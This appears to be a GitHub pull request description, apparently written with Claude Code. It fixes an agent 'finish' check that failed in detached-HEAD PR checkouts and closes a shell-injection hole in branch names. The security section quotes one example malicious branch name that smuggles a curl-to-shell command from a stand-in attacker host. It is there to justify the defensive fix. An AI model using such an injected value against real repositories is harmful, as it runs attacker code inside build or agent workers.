fix(finish): use ls-remote SHA comparison so PR-checkout agents can finish in detached HEAD

[zbigniewsobiecki]

Summary

hasUnpushedCommits() in the finish gadget was wedging every PR-checkout agent (respond-to-review, respond-to-pr-comment, respond-to-ci, review). Workers check out PRs in detached HEAD via refs/pull/N/head, where git rev-parse --abbrev-ref HEAD returns the literal string "HEAD" and @{upstream} is unset. The legacy fallback then computed git rev-list origin/HEAD..HEAD --count (commits not on the default branch), which always returns >0 for any feature branch — so finish always rejected with "Cannot finish session without pushing changes" even when the work was fully pushed.

Live incident: ucho PR #84 stayed wedged for 22 m on 2026-04-27. The agent pushed b10ff8a, called cascade-tools session finish three times (each rejected), gave up, and emitted text but no further tool calls. Container stayed alive (lock held); subsequent reviews on the same PR all hit Awaiting worker slot: in-memory same-type: 1 enqueued (max 1 per type) until the watchdog backstop killed it at 22 m 44 s. Same trap for every long-running ucho run.

Fix

Thread the PR HEAD branch from AgentInput.prBranch into the finish gadget, then compare local HEAD to the remote tip via git ls-remote origin refs/heads/<branch>. Robust to detached HEAD — never reads the local branch name.

Plumbing covers both engine paths:

• In-process llmist gadget: agentInput.prBranch → createConfiguredBuilder → initSessionState → SessionState.prBranch → validateFinish.
• CLI subprocess (codex / opencode and the in-container cascade-tools session finish): agentInput.prBranch → sidecarManager sets CASCADE_PR_BRANCH env → CLI reads env → validateFinish.

Security hardening

prBranch flows from payload.pull_request.head.ref (GitHub-controlled). Git's ref-format rules permit ;, $, &, |, (, ), backticks, etc., so the branch name MUST NOT be shell-interpolated. Both the new git ls-remote refs/heads/${prBranch} call and the legacy fallback's git rev-list origin/${branch}..HEAD interpolation now go through execFileSync — branch is a single argv element, no /bin/sh -c, no metacharacter expansion.

A repo with a malicious branch name like evil$(curl attacker.com/x|sh)x would have executed that payload inside the worker container the moment any agent called finish. Worker is in Docker, so blast radius is bounded — but still a real exploit and very cheap to fix.

Operator visibility

Added logger.warn on both fail-closed paths (ls-remote failure + rev-parse HEAD failure) with prBranch and the underlying error so operators triaging a "Cannot finish session without pushing changes" error can distinguish network/auth issues from genuinely unpushed work without re-grepping logs. The original ucho incident took 22 min partly because the agent's error message gave no hint that the underlying cause might be elsewhere.

Tests

• tests/unit/gadgets/session/core/finish.test.ts — 8 new cases:
  • PR-checkout happy path (local HEAD == remote SHA → false).
  • Mismatch (local HEAD != remote SHA → true).
  • Missing remote branch (empty ls-remote → true).
  • Fail-closed on ls-remote error + warn-log assertion.
  • Fail-closed on rev-parse HEAD error.
  • Negative assertion that the new path does NOT invoke --abbrev-ref / @{upstream} / origin/HEAD (the detached-HEAD trap).
  • Two command-injection regression pins (one for the new path, one for the legacy fallback) that assert the branch name lives in its own argv slot AND is never present in any execSync shell-string call.
• tests/unit/gadgets/session/core/finish-real-git.test.ts (NEW) — real-git regression net. No mocks. Builds a bare remote + working repo, performs git checkout --detach <sha> to mirror the production refs/pull/N/head shape, and exercises the production code path end-to-end. Includes a documented assertion that the legacy path (no prBranch) IS still broken in detached HEAD — pinning the original bug so any future "simplification" back into the trap fails loudly.
• tests/unit/gadgets/sessionState.test.ts — round-trip + clear-on-reinit coverage for the new prBranch field.

Also extracts checkPushedChangesHook from validateFinish to keep the function under the project's complexity threshold.

Bonus: vitest hookTimeout fix

Second commit on this branch bumps hookTimeout in the unit-test shared config from the 10s default to 30s. Three PM manifest tests (jira, linear, trello) do await import('.../index.js') in beforeAll — ~2.3 s when isolated but well over 10 s under the parallel-fork CPU pressure of the full pre-push run. This was an intermittent pre-existing flake hitting any branch, not just this one. testTimeout left at the 5 s default — that's per-test logic, not module-load.

Test plan

• Unit tests pass (npm test → 8610 / 8633, 0 new failures).
• Typecheck clean (npm run typecheck).
• Lint clean (npm run lint).
• Pre-push hook (lint, typecheck, full unit suite) passes locally.
• CI green on this PR.
• After merge to dev: smoke-test by triggering a respond-to-review on a small ucho PR; confirm the agent successfully calls cascade-tools session finish once and the worker container exits within 60 s of the call (not the 22-min watchdog backstop).

🤖 Generated with Claude Code

[codecov]

Codecov Report

✅ All modified and coverable lines are covered by tests.

📢 Thoughts on this report? Let us know!